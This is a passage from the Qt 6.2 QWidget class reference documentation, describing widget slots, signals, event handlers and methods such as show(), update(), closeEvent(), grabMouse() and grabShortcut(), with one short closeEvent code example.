 This signal is emitted when the widget's [contextMenuPolicy](qwidget#contextMenuPolicy-prop) is [Qt::CustomContextMenu](qt#ContextMenuPolicy-enum), and the user has requested a context menu on the widget. The position *pos* is the position of the context menu event that the widget receives. Normally this is in widget coordinates. The exception to this rule is [QAbstractScrollArea](qabstractscrollarea) and its subclasses that map the context menu event to coordinates of the [viewport](qabstractscrollarea#viewport)().

 **See also** [mapToGlobal](qwidget#mapToGlobal)(), [QMenu](qmenu), and [contextMenuPolicy](qwidget#contextMenuPolicy-prop).

 ### 
`[slot]` void QWidget::hide()

 Hides the widget. This function is equivalent to [setVisible](qwidget#visible-prop)(false).

  **Note:** If you are working with [QDialog](qdialog) or its subclasses and you invoke the [show](qwidget#show)() function after this function, the dialog will be displayed in its original position.

  **See also** [hideEvent](qwidget#hideEvent)(), [isHidden](qwidget#isHidden)(), [show](qwidget#show)(), [setVisible](qwidget#visible-prop)(), [isVisible](qwidget#visible-prop)(), and [close](qwidget#close)().

 ### 
`[slot]` void QWidget::lower()

 Lowers the widget to the bottom of the parent widget's stack.

 After this call the widget will be visually behind (and therefore obscured by) any overlapping sibling widgets.

 **See also** [raise](qwidget#raise)() and [stackUnder](qwidget#stackUnder)().

 ### 
`[slot]` void QWidget::raise()

 Raises this widget to the top of the parent widget's stack.

 After this call the widget will be visually in front of any overlapping sibling widgets.

  **Note:** When using [activateWindow](qwidget#activateWindow)(), you can call this function to ensure that the window is stacked on top.

  **See also** [lower](qwidget#lower)() and [stackUnder](qwidget#stackUnder)().

 ### 
`[slot]` void QWidget::repaint()

 Repaints the widget directly by calling [paintEvent](qwidget#paintEvent)() immediately, unless updates are disabled or the widget is hidden.

 We suggest only using repaint() if you need an immediate repaint, for example during animation. In almost all circumstances [update](qwidget#update)() is better, as it permits Qt to optimize for speed and minimize flicker.

  **Warning:** If you call repaint() in a function which may itself be called from [paintEvent](qwidget#paintEvent)(), you may get infinite recursion. The [update](qwidget#update)() function never causes recursion.

  **See also** [update](qwidget#update)(), [paintEvent](qwidget#paintEvent)(), and [setUpdatesEnabled](qwidget#updatesEnabled-prop)().

 ### 
`[slot]` void QWidget::setDisabled(bool *disable*)

 Disables widget input events if *disable* is true; otherwise enables input events.

 See the [enabled](qwidget#enabled-prop) documentation for more information.

 **See also** [isEnabledTo](qwidget#isEnabledTo)(), [QKeyEvent](qkeyevent), [QMouseEvent](qmouseevent), and [changeEvent](qwidget#changeEvent)().

 ### 
`[slot]` void QWidget::setFocus()

 This is an overloaded function.

 Gives the keyboard input focus to this widget (or its focus proxy) if this widget or one of its parents is the [active window](qwidget#isActiveWindow-prop).

 ### 
`[slot]` void QWidget::setHidden(bool *hidden*)

 Convenience function, equivalent to [setVisible](qwidget#visible-prop)(!*hidden*).

 **See also** [isHidden](qwidget#isHidden)().

 ### 
`[slot]` void QWidget::show()

 Shows the widget and its child widgets.

 This is equivalent to calling [showFullScreen](qwidget#showFullScreen)(), [showMaximized](qwidget#showMaximized)(), or [setVisible](qwidget#visible-prop)(true), depending on the platform's default behavior for the window flags.

 **See also** [raise](qwidget#raise)(), [showEvent](qwidget#showEvent)(), [hide](qwidget#hide)(), [setVisible](qwidget#visible-prop)(), [showMinimized](qwidget#showMinimized)(), [showMaximized](qwidget#showMaximized)(), [showNormal](qwidget#showNormal)(), [isVisible](qwidget#visible-prop)(), and [windowFlags](qwidget#windowFlags-prop)().

 ### 
`[slot]` void QWidget::showFullScreen()

 Shows the widget in full-screen mode.

 Calling this function only affects [windows](qwidget#isWindow).

 To return from full-screen mode, call [showNormal](qwidget#showNormal)() or [close](qwidget#close)().

  **Note:** Full-screen mode works fine under Windows, but has certain problems under X. These problems are due to limitations of the ICCCM protocol that specifies the communication between X11 clients and the window manager. ICCCM simply does not understand the concept of non-decorated full-screen windows. Therefore, the best we can do is to request a borderless window and place and resize it to fill the entire screen. Depending on the window manager, this may or may not work. The borderless window is requested using MOTIF hints, which are at least partially supported by virtually all modern window managers.

  An alternative would be to bypass the window manager entirely and create a window with the [Qt::X11BypassWindowManagerHint](qt#WindowType-enum) flag. This has other severe problems though, like totally broken keyboard focus and very strange effects on desktop changes or when the user raises other windows.

 X11 window managers that follow modern post-ICCCM specifications support full-screen mode properly.

 On macOS, showing a window full screen puts the entire application in full-screen mode, providing it with a dedicated desktop. Showing another window while the application runs in full-screen mode might automatically make that window full screen as well. To prevent that, exit full-screen mode by calling [showNormal](qwidget#showNormal)() or by [close](qwidget#close)() on the full screen window before showing another window.

 **See also** [showNormal](qwidget#showNormal)(), [showMaximized](qwidget#showMaximized)(), [show](qwidget#show)(), [isVisible](qwidget#visible-prop)(), and [close](qwidget#close)().

 ### 
`[slot]` void QWidget::showMaximized()

 Shows the widget maximized.

 Calling this function only affects [windows](qwidget#isWindow).

 On X11, this function may not work properly with certain window managers. See the [Window Geometry](application-windows#window-geometry) documentation for an explanation.

 **See also** [setWindowState](qwidget#setWindowState)(), [showNormal](qwidget#showNormal)(), [showMinimized](qwidget#showMinimized)(), [show](qwidget#show)(), [hide](qwidget#hide)(), and [isVisible](qwidget#visible-prop)().

 ### 
`[slot]` void QWidget::showMinimized()

 Shows the widget minimized, as an icon.

 Calling this function only affects [windows](qwidget#isWindow).

 **See also** [showNormal](qwidget#showNormal)(), [showMaximized](qwidget#showMaximized)(), [show](qwidget#show)(), [hide](qwidget#hide)(), [isVisible](qwidget#visible-prop)(), and [isMinimized](qwidget#minimized-prop)().

 ### 
`[slot]` void QWidget::showNormal()

 Restores the widget after it has been maximized or minimized.

 Calling this function only affects [windows](qwidget#isWindow).

 **See also** [setWindowState](qwidget#setWindowState)(), [showMinimized](qwidget#showMinimized)(), [showMaximized](qwidget#showMaximized)(), [show](qwidget#show)(), [hide](qwidget#hide)(), and [isVisible](qwidget#visible-prop)().

 ### 
`[slot]` void QWidget::update()

 Updates the widget unless updates are disabled or the widget is hidden.

 This function does not cause an immediate repaint; instead it schedules a paint event for processing when Qt returns to the main event loop. This permits Qt to optimize for more speed and less flicker than a call to [repaint](qwidget#repaint)() does.

 Calling update() several times normally results in just one [paintEvent](qwidget#paintEvent)() call.

 Qt normally erases the widget's area before the [paintEvent](qwidget#paintEvent)() call. If the [Qt::WA\_OpaquePaintEvent](qt#WidgetAttribute-enum) widget attribute is set, the widget is responsible for painting all its pixels with an opaque color.

 **See also** [repaint](qwidget#repaint)(), [paintEvent](qwidget#paintEvent)(), [setUpdatesEnabled](qwidget#updatesEnabled-prop)(), and [Analog Clock Example](https://doc.qt.io/qt-6.2/qtwidgets-widgets-analogclock-example.html).

 ### 
`[protected slot]` void QWidget::updateMicroFocus([Qt::InputMethodQuery](qt#InputMethodQuery-enum) *query* = Qt::ImQueryAll)

 Updates the widget's micro focus and informs input methods that the state specified by *query* has changed.

 ### 
`[signal, since 5.2]` void QWidget::windowIconChanged(const [QIcon](qicon) &*icon*)

 This signal is emitted when the window's icon has changed, with the new *icon* as an argument.

 **Note:** Notifier signal for property [windowIcon](qwidget#windowIcon-prop). 

 This function was introduced in Qt 5.2.

 ### 
`[signal, since 5.2]` void QWidget::windowTitleChanged(const [QString](qstring) &*title*)

 This signal is emitted when the window's title has changed, with the new *title* as an argument.

 **Note:** Notifier signal for property [windowTitle](qwidget#windowTitle-prop). 

 This function was introduced in Qt 5.2.

 ### 
`[virtual]` QWidget::~QWidget()

 Destroys the widget.

 All this widget's children are deleted first. The application exits if this widget is the main widget.

 ### 
`[virtual protected]` void QWidget::actionEvent([QActionEvent](qactionevent) \**event*)

 This event handler is called with the given *event* whenever the widget's actions are changed.

 **See also** [addAction](qwidget#addAction)(), [insertAction](qwidget#insertAction)(), [removeAction](qwidget#removeAction)(), [actions](qwidget#actions)(), and [QActionEvent](qactionevent).

 ### 
[QList](qlist)<[QAction](qaction) \*> QWidget::actions() const

 Returns the (possibly empty) list of this widget's actions.

 **See also** [contextMenuPolicy](qwidget#contextMenuPolicy-prop), [insertAction](qwidget#insertAction)(), and [removeAction](qwidget#removeAction)().

 ### 
void QWidget::activateWindow()

 Sets the top-level widget containing this widget to be the active window.

 An active window is a visible top-level window that has the keyboard input focus.

 This function performs the same operation as clicking the mouse on the title bar of a top-level window. On X11, the result depends on the Window Manager. If you want to ensure that the window is stacked on top as well you should also call [raise](qwidget#raise)(). Note that the window must be visible, otherwise activateWindow() has no effect.

 On Windows, if you are calling this when the application is not currently the active one then it will not make it the active window. It will change the color of the taskbar entry to indicate that the window has changed in some way. This is because Microsoft does not allow an application to interrupt what the user is currently doing in another application.

 **See also** [isActiveWindow](qwidget#isActiveWindow-prop)(), [window](qwidget#window)(), and [show](qwidget#show)().

 ### 
void QWidget::addAction([QAction](qaction) \**action*)

 Appends the action *action* to this widget's list of actions.

 All QWidgets have a list of [QAction](qaction)s, however they can be represented graphically in many different ways. The default use of the [QAction](qaction) list (as returned by [actions](qwidget#actions)()) is to create a context [QMenu](qmenu).

 A [QWidget](qwidget) should only have one of each action and adding an action it already has will not cause the same action to be in the widget twice.

 The ownership of *action* is not transferred to this [QWidget](qwidget).

 **See also** [removeAction](qwidget#removeAction)(), [insertAction](qwidget#insertAction)(), [actions](qwidget#actions)(), and [QMenu](qmenu).

 ### 
void QWidget::addActions(const [QList](qlist)<[QAction](qaction) \*> &*actions*)

 Appends the actions *actions* to this widget's list of actions.

 **See also** [removeAction](qwidget#removeAction)(), [QMenu](qmenu), and [addAction](qwidget#addAction)().

 ### 
void QWidget::adjustSize()

 Adjusts the size of the widget to fit its contents.

 This function uses [sizeHint](qwidget#sizeHint-prop)() if it is valid, i.e., the size hint's width and height are >= 0. Otherwise, it sets the size to the children rectangle that covers all child widgets (the union of all child widget rectangles).

 For windows, the screen size is also taken into account. If the [sizeHint](qwidget#sizeHint-prop)() is less than (200, 100) and the size policy is [expanding](qsizepolicy#Policy-enum), the window will be at least (200, 100). The maximum size of a window is 2/3 of the screen's width and height.

 **See also** [sizeHint](qwidget#sizeHint-prop)() and [childrenRect](qwidget#childrenRect-prop)().

 ### 
[QPalette::ColorRole](qpalette#ColorRole-enum) QWidget::backgroundRole() const

 Returns the background role of the widget.

 The background role defines the brush from the widget's [palette](qwidget#palette-prop) that is used to render the background.

 If no explicit background role is set, the widget inherts its parent widget's background role.

 **See also** [setBackgroundRole](qwidget#setBackgroundRole)() and [foregroundRole](qwidget#foregroundRole)().

 ### 
`[since 5.0]` [QBackingStore](qbackingstore) \*QWidget::backingStore() const

 Returns the [QBackingStore](qbackingstore) this widget will be drawn into.

 This function was introduced in Qt 5.0.

 ### 
`[virtual protected]` void QWidget::changeEvent([QEvent](qevent) \**event*)

 This event handler can be reimplemented to handle state changes.

 The state being changed in this event can be retrieved through the *event* supplied.

 Change events include: [QEvent::ToolBarChange](qevent#Type-enum), [QEvent::ActivationChange](qevent#Type-enum), [QEvent::EnabledChange](qevent#Type-enum), [QEvent::FontChange](qevent#Type-enum), [QEvent::StyleChange](qevent#Type-enum), [QEvent::PaletteChange](qevent#Type-enum), [QEvent::WindowTitleChange](qevent#Type-enum), [QEvent::IconTextChange](qevent#Type-enum), [QEvent::ModifiedChange](qevent#Type-enum), [QEvent::MouseTrackingChange](qevent#Type-enum), [QEvent::ParentChange](qevent#Type-enum), [QEvent::WindowStateChange](qevent#Type-enum), [QEvent::LanguageChange](qevent#Type-enum), [QEvent::LocaleChange](qevent#Type-enum), [QEvent::LayoutDirectionChange](qevent#Type-enum), [QEvent::ReadOnlyChange](qevent#Type-enum).

 ### 
[QWidget](qwidget#QWidget) \*QWidget::childAt(int *x*, int *y*) const

 Returns the visible child widget at the position (*x*, *y*) in the widget's coordinate system. If there is no visible child widget at the specified position, the function returns `nullptr`.

 ### 
[QWidget](qwidget#QWidget) \*QWidget::childAt(const [QPoint](qpoint) &*p*) const

 This is an overloaded function.

 Returns the visible child widget at point *p* in the widget's own coordinate system.

 ### 
void QWidget::clearFocus()

 Takes keyboard input focus from the widget.

 If the widget has active focus, a [focus out event](qwidget#focusOutEvent) is sent to this widget to tell it that it has lost the focus.

 This widget must enable focus setting in order to get the keyboard input focus, i.e. it must call [setFocusPolicy](qwidget#focusPolicy-prop)().

 **See also** [hasFocus](qwidget#focus-prop)(), [setFocus](qwidget#setFocus-1)(), [focusInEvent](qwidget#focusInEvent)(), [focusOutEvent](qwidget#focusOutEvent)(), [setFocusPolicy](qwidget#focusPolicy-prop)(), and [QApplication::focusWidget](qapplication#focusWidget)().

 ### 
void QWidget::clearMask()

 Removes any mask set by [setMask](qwidget#setMask)().

 **See also** [setMask](qwidget#setMask)().

 ### 
`[virtual protected]` void QWidget::closeEvent([QCloseEvent](qcloseevent) \**event*)

 This event handler is called with the given *event* when Qt receives a window close request for a top-level widget from the window system.

 By default, the event is accepted and the widget is closed. You can reimplement this function to change the way the widget responds to window close requests. For example, you can prevent the window from closing by calling [ignore](qevent#ignore)() on all events.

 Main window applications typically use reimplementations of this function to check whether the user's work has been saved and ask for permission before closing. For example, the [Qt Widgets - Application Example](https://doc.qt.io/qt-6.2/qtwidgets-mainwindows-application-example.html) uses a helper function to determine whether or not to close the window:

 
```
void MainWindow::closeEvent(QCloseEvent *event)
{
    if (maybeSave()) {
        writeSettings();
        event->accept();
    } else {
        event->ignore();
    }
}
```
 **See also** [event](qwidget#event)(), [hide](qwidget#hide)(), [close](qwidget#close)(), [QCloseEvent](qcloseevent), and [Qt Widgets - Application Example](https://doc.qt.io/qt-6.2/qtwidgets-mainwindows-application-example.html).

 ### 
[QMargins](qmargins) QWidget::contentsMargins() const

 The contentsMargins function returns the widget's contents margins.

 **See also** [setContentsMargins](qwidget#setContentsMargins)() and [contentsRect](qwidget#contentsRect)().

 ### 
[QRect](qrect) QWidget::contentsRect() const

 Returns the area inside the widget's margins.

 **See also** [setContentsMargins](qwidget#setContentsMargins)() and [contentsMargins](qwidget#contentsMargins)().

 ### 
`[virtual protected]` void QWidget::contextMenuEvent([QContextMenuEvent](qcontextmenuevent) \**event*)

 This event handler, for event *event*, can be reimplemented in a subclass to receive widget context menu events.

 The handler is called when the widget's [contextMenuPolicy](qwidget#contextMenuPolicy-prop) is [Qt::DefaultContextMenu](qt#ContextMenuPolicy-enum).

 The default implementation ignores the context event. See the [QContextMenuEvent](qcontextmenuevent) documentation for more details.

 **See also** [event](qwidget#event)(), [QContextMenuEvent](qcontextmenuevent), and [customContextMenuRequested](qwidget#customContextMenuRequested)().

 ### 
`[protected]` void QWidget::create(WId *window* = 0, bool *initializeWindow* = true, bool *destroyOldWindow* = true)

 Creates a new widget window.

 The parameters *window*, *initializeWindow*, and *destroyOldWindow* are ignored in Qt 5. Please use [QWindow::fromWinId](qwindow#fromWinId)() to create a [QWindow](qwindow) wrapping a foreign window and pass it to [QWidget::createWindowContainer](qwidget#createWindowContainer)() instead.

 **See also** [createWindowContainer](qwidget#createWindowContainer)() and [QWindow::fromWinId](qwindow#fromWinId)().

 ### 
`[static]` [QWidget](qwidget#QWidget) \*QWidget::createWindowContainer([QWindow](qwindow) \**window*, [QWidget](qwidget#QWidget) \**parent* = nullptr, [Qt::WindowFlags](qt#WindowType-enum) *flags* = Qt::WindowFlags())

 Creates a [QWidget](qwidget) that makes it possible to embed *window* into a [QWidget](qwidget)-based application.

 The window container is created as a child of *parent* and with window flags *flags*.

 Once the window has been embedded into the container, the container will control the window's geometry and visibility. Explicit calls to [QWindow::setGeometry](qwindow#setGeometry)(), [QWindow::show](qwindow#show)() or [QWindow::hide](qwindow#hide)() on an embedded window is not recommended.

 The container takes over ownership of *window*. The window can be removed from the window container with a call to [QWindow::setParent](qwindow#setParent)().

 The window container is attached as a native child window to the toplevel window it is a child of. When a window container is used as a child of a [QAbstractScrollArea](qabstractscrollarea) or [QMdiArea](qmdiarea), it will create a [native window](qwidget#native-widgets-vs-alien-widgets) for every widget in its parent chain to allow for proper stacking and clipping in this use case. Creating a native window for the window container also allows for proper stacking and clipping. This must be done before showing the window container. Applications with many native child windows may suffer from performance issues.

 The window container has a number of known limitations:

 * Stacking order; The embedded window will stack on top of the widget hierarchy as an opaque box. The stacking order of multiple overlapping window container instances is undefined.
* Rendering Integration; The window container does not interoperate with [QGraphicsProxyWidget](qgraphicsproxywidget), [QWidget::render](qwidget#render)() or similar functionality.
* Focus Handling; It is possible to let the window container instance have any focus policy and it will delegate focus to the window via a call to [QWindow::requestActivate](qwindow#requestActivate)(). However, returning to the normal focus chain from the [QWindow](qwindow) instance will be up to the [QWindow](qwindow) instance implementation itself. For instance, when entering a Qt Quick based window with tab focus, it is quite likely that further tab presses will only cycle inside the QML application. Also, whether [QWindow::requestActivate](qwindow#requestActivate)() actually gives the window focus, is platform dependent.
* Using many window container instances in a [QWidget](qwidget)-based application can greatly hurt the overall performance of the application.

 ### 
`[protected]` void QWidget::destroy(bool *destroyWindow* = true, bool *destroySubWindows* = true)

 Frees up window system resources. Destroys the widget window if *destroyWindow* is true.

 destroy() calls itself recursively for all the child widgets, passing *destroySubWindows* for the *destroyWindow* parameter. To have more control over destruction of subwidgets, destroy subwidgets selectively first.

 This function is usually called from the [QWidget](qwidget) destructor.

 ### 
`[virtual protected]` void QWidget::dragEnterEvent([QDragEnterEvent](qdragenterevent) \**event*)

 This event handler is called when a drag is in progress and the mouse enters this widget. The event is passed in the *event* parameter.

 If the event is ignored, the widget won't receive any [drag move events](qwidget#dragMoveEvent).

 See the [Drag-and-drop documentation](dnd) for an overview of how to provide drag-and-drop in your application.

 **See also** [QDrag](qdrag) and [QDragEnterEvent](qdragenterevent).

 ### 
`[virtual protected]` void QWidget::dragLeaveEvent([QDragLeaveEvent](qdragleaveevent) \**event*)

 This event handler is called when a drag is in progress and the mouse leaves this widget. The event is passed in the *event* parameter.

 See the [Drag-and-drop documentation](dnd) for an overview of how to provide drag-and-drop in your application.

 **See also** [QDrag](qdrag) and [QDragLeaveEvent](qdragleaveevent).

 ### 
`[virtual protected]` void QWidget::dragMoveEvent([QDragMoveEvent](qdragmoveevent) \**event*)

 This event handler is called if a drag is in progress, and when any of the following conditions occur: the cursor enters this widget, the cursor moves within this widget, or a modifier key is pressed on the keyboard while this widget has the focus. The event is passed in the *event* parameter.

 See the [Drag-and-drop documentation](dnd) for an overview of how to provide drag-and-drop in your application.

 **See also** [QDrag](qdrag) and [QDragMoveEvent](qdragmoveevent).

 ### 
`[virtual protected]` void QWidget::dropEvent([QDropEvent](qdropevent) \**event*)

 This event handler is called when the drag is dropped on this widget. The event is passed in the *event* parameter.

 See the [Drag-and-drop documentation](dnd) for an overview of how to provide drag-and-drop in your application.

 **See also** [QDrag](qdrag) and [QDropEvent](qdropevent).

 ### 
WId QWidget::effectiveWinId() const

 Returns the effective window system identifier of the widget, i.e. the native parent's window system identifier.

 If the widget is native, this function returns the native widget ID. Otherwise, the window ID of the first native parent widget, i.e., the top-level widget that contains this widget, is returned.

  **Note:** We recommend that you do not store this value as it is likely to change at run-time.

  **See also** [nativeParentWidget](qwidget#nativeParentWidget)().

 ### 
void QWidget::ensurePolished() const

 Ensures that the widget and its children have been polished by [QStyle](qstyle) (i.e., have a proper font and palette).

 [QWidget](qwidget) calls this function after it has been fully constructed but before it is shown the very first time. You can call this function if you want to ensure that the widget is polished before doing an operation, e.g., the correct font size might be needed in the widget's [sizeHint](qwidget#sizeHint-prop)() reimplementation. Note that this function *is* called from the default implementation of [sizeHint](qwidget#sizeHint-prop)().

 Polishing is useful for final initialization that must happen after all constructors (from base classes as well as from subclasses) have been called.

 If you need to change some settings when a widget is polished, reimplement [event](qwidget#event)() and handle the [QEvent::Polish](qevent#Type-enum) event type.

 **Note:** The function is declared const so that it can be called from other const functions (e.g., [sizeHint](qwidget#sizeHint-prop)()).

 **See also** [event](qwidget#event)().

 ### 
`[virtual protected]` void QWidget::enterEvent([QEnterEvent](qenterevent) \**event*)

 This event handler can be reimplemented in a subclass to receive widget enter events which are passed in the *event* parameter.

 An event is sent to the widget when the mouse cursor enters the widget.

 **See also** [leaveEvent](qwidget#leaveEvent)(), [mouseMoveEvent](qwidget#mouseMoveEvent)(), and [event](qwidget#event)().

 ### 
`[override virtual protected]` bool QWidget::event([QEvent](qevent) \**event*)

 Reimplements: [QObject::event](qobject#event)(QEvent \*e).

 This is the main event handler; it handles event *event*. You can reimplement this function in a subclass, but we recommend using one of the specialized event handlers instead.

 Key press and release events are treated differently from other events. event() checks for Tab and Shift+Tab and tries to move the focus appropriately. If there is no widget to move the focus to (or the key press is not Tab or Shift+Tab), event() calls [keyPressEvent](qwidget#keyPressEvent)().

 Mouse and tablet event handling is also slightly special: only when the widget is [enabled](qwidget#enabled-prop), event() will call the specialized handlers such as [mousePressEvent](qwidget#mousePressEvent)(); otherwise it will discard the event.

 This function returns `true` if the event was recognized, otherwise it returns `false`. If the recognized event was accepted (see [QEvent::accepted](qevent#accepted-prop)), any further processing such as event propagation to the parent widget stops.

 **See also** [closeEvent](qwidget#closeEvent)(), [focusInEvent](qwidget#focusInEvent)(), [focusOutEvent](qwidget#focusOutEvent)(), [enterEvent](qwidget#enterEvent)(), [keyPressEvent](qwidget#keyPressEvent)(), [keyReleaseEvent](qwidget#keyReleaseEvent)(), [leaveEvent](qwidget#leaveEvent)(), [mouseDoubleClickEvent](qwidget#mouseDoubleClickEvent)(), [mouseMoveEvent](qwidget#mouseMoveEvent)(), [mousePressEvent](qwidget#mousePressEvent)(), [mouseReleaseEvent](qwidget#mouseReleaseEvent)(), [moveEvent](qwidget#moveEvent)(), [paintEvent](qwidget#paintEvent)(), [resizeEvent](qwidget#resizeEvent)(), [QObject::event](qobject#event)(), and [QObject::timerEvent](qobject#timerEvent)().

 ### 
`[static]` [QWidget](qwidget#QWidget) \*QWidget::find(WId *id*)

 Returns a pointer to the widget with window identifier/handle *id*.

 The window identifier type depends on the underlying window system, see `qwindowdefs.h` for the actual definition. If there is no widget with this identifier, `nullptr` is returned.

 ### 
`[virtual protected]` void QWidget::focusInEvent([QFocusEvent](qfocusevent) \**event*)

 This event handler can be reimplemented in a subclass to receive keyboard focus events (focus received) for the widget. The event is passed in the *event* parameter

 A widget normally must [setFocusPolicy](qwidget#focusPolicy-prop)() to something other than [Qt::NoFocus](qt#FocusPolicy-enum) in order to receive focus events. (Note that the application programmer can call [setFocus](qwidget#setFocus-1)() on any widget, even those that do not normally accept focus.)

 The default implementation updates the widget (except for windows that do not specify a [focusPolicy](qwidget#focusPolicy-prop)()).

 **See also** [focusOutEvent](qwidget#focusOutEvent)(), [setFocusPolicy](qwidget#focusPolicy-prop)(), [keyPressEvent](qwidget#keyPressEvent)(), [keyReleaseEvent](qwidget#keyReleaseEvent)(), [event](qwidget#event)(), and [QFocusEvent](qfocusevent).

 ### 
`[protected]` bool QWidget::focusNextChild()

 Finds a new widget to give the keyboard focus to, as appropriate for **Tab**, and returns `true` if it can find a new widget, or false if it can't.

 **See also** [focusPreviousChild](qwidget#focusPreviousChild)().

 ### 
`[virtual protected]` bool QWidget::focusNextPrevChild(bool *next*)

 Finds a new widget to give the keyboard focus to, as appropriate for Tab and Shift+Tab, and returns `true` if it can find a new widget, or false if it can't.

 If *next* is true, this function searches forward, if *next* is false, it searches backward.

 Sometimes, you will want to reimplement this function. For example, a web browser might reimplement it to move its "current active link" forward or backward, and call focusNextPrevChild() only when it reaches the last or first link on the "page".

 Child widgets call focusNextPrevChild() on their parent widgets, but only the window that contains the child widgets decides where to redirect focus. By reimplementing this function for an object, you thus gain control of focus traversal for all child widgets.

 **See also** [focusNextChild](qwidget#focusNextChild)() and [focusPreviousChild](qwidget#focusPreviousChild)().

 ### 
`[virtual protected]` void QWidget::focusOutEvent([QFocusEvent](qfocusevent) \**event*)

 This event handler can be reimplemented in a subclass to receive keyboard focus events (focus lost) for the widget. The events is passed in the *event* parameter.

 A widget normally must [setFocusPolicy](qwidget#focusPolicy-prop)() to something other than [Qt::NoFocus](qt#FocusPolicy-enum) in order to receive focus events. (Note that the application programmer can call [setFocus](qwidget#setFocus-1)() on any widget, even those that do not normally accept focus.)

 The default implementation updates the widget (except for windows that do not specify a [focusPolicy](qwidget#focusPolicy-prop)()).

 **See also** [focusInEvent](qwidget#focusInEvent)(), [setFocusPolicy](qwidget#focusPolicy-prop)(), [keyPressEvent](qwidget#keyPressEvent)(), [keyReleaseEvent](qwidget#keyReleaseEvent)(), [event](qwidget#event)(), and [QFocusEvent](qfocusevent).

 ### 
`[protected]` bool QWidget::focusPreviousChild()

 Finds a new widget to give the keyboard focus to, as appropriate for **Shift+Tab**, and returns `true` if it can find a new widget, or false if it can't.

 **See also** [focusNextChild](qwidget#focusNextChild)().

 ### 
[QWidget](qwidget#QWidget) \*QWidget::focusProxy() const

 Returns the focus proxy, or `nullptr` if there is no focus proxy.

 **See also** [setFocusProxy](qwidget#setFocusProxy)().

 ### 
[QWidget](qwidget#QWidget) \*QWidget::focusWidget() const

 Returns the last child of this widget that [setFocus](qwidget#setFocus) had been called on. For top level widgets this is the widget that will get focus in case this window gets activated

 This is not the same as [QApplication::focusWidget](qapplication#focusWidget)(), which returns the focus widget in the currently active window.

 ### 
[QFontInfo](qfontinfo) QWidget::fontInfo() const

 Returns the font info for the widget's current font. Equivalent to `QFontInfo(widget->font())`.

 **See also** [font](qwidget#font-prop)(), [fontMetrics](qwidget#fontMetrics)(), and [setFont](qwidget#font-prop)().

 ### 
[QFontMetrics](qfontmetrics) QWidget::fontMetrics() const

 Returns the font metrics for the widget's current font. Equivalent to `QFontMetrics(widget->font())`.

 **See also** [font](qwidget#font-prop)(), [fontInfo](qwidget#fontInfo)(), and [setFont](qwidget#font-prop)().

 ### 
[QPalette::ColorRole](qpalette#ColorRole-enum) QWidget::foregroundRole() const

 Returns the foreground role.

 The foreground role defines the color from the widget's [palette](qwidget#palette-prop) that is used to draw the foreground.

 If no explicit foreground role is set, the function returns a role that contrasts with the background role.

 **See also** [setForegroundRole](qwidget#setForegroundRole)() and [backgroundRole](qwidget#backgroundRole)().

 ### 
`[invokable, since 5.0]` [QPixmap](qpixmap) QWidget::grab(const [QRect](qrect) &*rectangle* = QRect(QPoint(0, 0), QSize(-1, -1)))

 Renders the widget into a pixmap restricted by the given *rectangle*. If the widget has any children, then they are also painted in the appropriate positions.

 If a rectangle with an invalid size is specified (the default), the entire widget is painted.

 **Note:** This function can be invoked via the meta-object system and from QML. See [Q\_INVOKABLE](qobject#Q_INVOKABLE).

 This function was introduced in Qt 5.0.

 **See also** [render](qwidget#render)() and [QPixmap](qpixmap).

 ### 
void QWidget::grabGesture([Qt::GestureType](qt#GestureType-enum) *gesture*, [Qt::GestureFlags](qt#GestureFlag-enum) *flags* = Qt::GestureFlags())

 Subscribes the widget to a given *gesture* with specific *flags*.

 **See also** [ungrabGesture](qwidget#ungrabGesture)() and [QGestureEvent](qgestureevent).

 ### 
void QWidget::grabKeyboard()

 Grabs the keyboard input.

 This widget receives all keyboard events until [releaseKeyboard](qwidget#releaseKeyboard)() is called; other widgets get no keyboard events at all. Mouse events are not affected. Use [grabMouse](qwidget#grabMouse)() if you want to grab that.

 The focus widget is not affected, except that it doesn't receive any keyboard events. [setFocus](qwidget#setFocus-1)() moves the focus as usual, but the new focus widget receives keyboard events only after [releaseKeyboard](qwidget#releaseKeyboard)() is called.

 If a different widget is currently grabbing keyboard input, that widget's grab is released first.

 **See also** [releaseKeyboard](qwidget#releaseKeyboard)(), [grabMouse](qwidget#grabMouse)(), [releaseMouse](qwidget#releaseMouse)(), and [focusWidget](qwidget#focusWidget)().

 ### 
void QWidget::grabMouse()

 Grabs the mouse input.

 This widget receives all mouse events until [releaseMouse](qwidget#releaseMouse)() is called; other widgets get no mouse events at all. Keyboard events are not affected. Use [grabKeyboard](qwidget#grabKeyboard)() if you want to grab that.

  **Warning:** Bugs in mouse-grabbing applications very often lock the terminal. Use this function with extreme caution, and consider using the `-nograb` command line option while debugging.

  It is almost never necessary to grab the mouse when using Qt, as Qt grabs and releases it sensibly. In particular, Qt grabs the mouse when a mouse button is pressed and keeps it until the last button is released.

  **Note:** Only visible widgets can grab mouse input. If [isVisible](qwidget#visible-prop)() returns `false` for a widget, that widget cannot call grabMouse().

   **Note:** On Windows, grabMouse() only works when the mouse is inside a window owned by the process. On macOS, grabMouse() only works when the mouse is inside the frame of that widget.

  **See also** [releaseMouse](qwidget#releaseMouse)(), [grabKeyboard](qwidget#grabKeyboard)(), and [releaseKeyboard](qwidget#releaseKeyboard)().

 ### 
void QWidget::grabMouse(const [QCursor](qcursor) &*cursor*)

 This function overloads grabMouse().

 Grabs the mouse input and changes the cursor shape.

 The cursor will assume shape *cursor* (for as long as the mouse focus is grabbed) and this widget will be the only one to receive mouse events until [releaseMouse](qwidget#releaseMouse)() is called().

  **Warning:** Grabbing the mouse might lock the terminal.

   **Note:** See the note in [QWidget::grabMouse](qwidget#grabMouse)().

  **See also** [releaseMouse](qwidget#releaseMouse)(), [grabKeyboard](qwidget#grabKeyboard)(), [releaseKeyboard](qwidget#releaseKeyboard)(), and [setCursor](qwidget#cursor-prop)().

 ### 
int QWidget::grabShortcut(const [QKeySequence](qkeysequence) &*key*, [Qt::ShortcutContext](qt#ShortcutContext-enum) *context* = Qt::WindowShortcut)

 Adds a shortcut to Qt's shortcut system that watches for the given *key* sequence in the given *context*. If the *context* is [Qt::ApplicationShortcut](qt#ShortcutContext-enum), the shortcut applies to the application as a whole. Otherwise, it is either local to this widget, [Qt::WidgetShortcut](qt#ShortcutContext-enum), or to the window itself, [Qt::WindowShortcut](qt#ShortcutContext-enum).

 If the same *key* sequence has been grabbed by several widgets, when the *key* sequence occurs a [QEvent::Shortcut](qevent#Type-enum) event is sent to all the widgets to which it applies in a non-deterministic order, but with the ``ambiguous'' flag set to true.

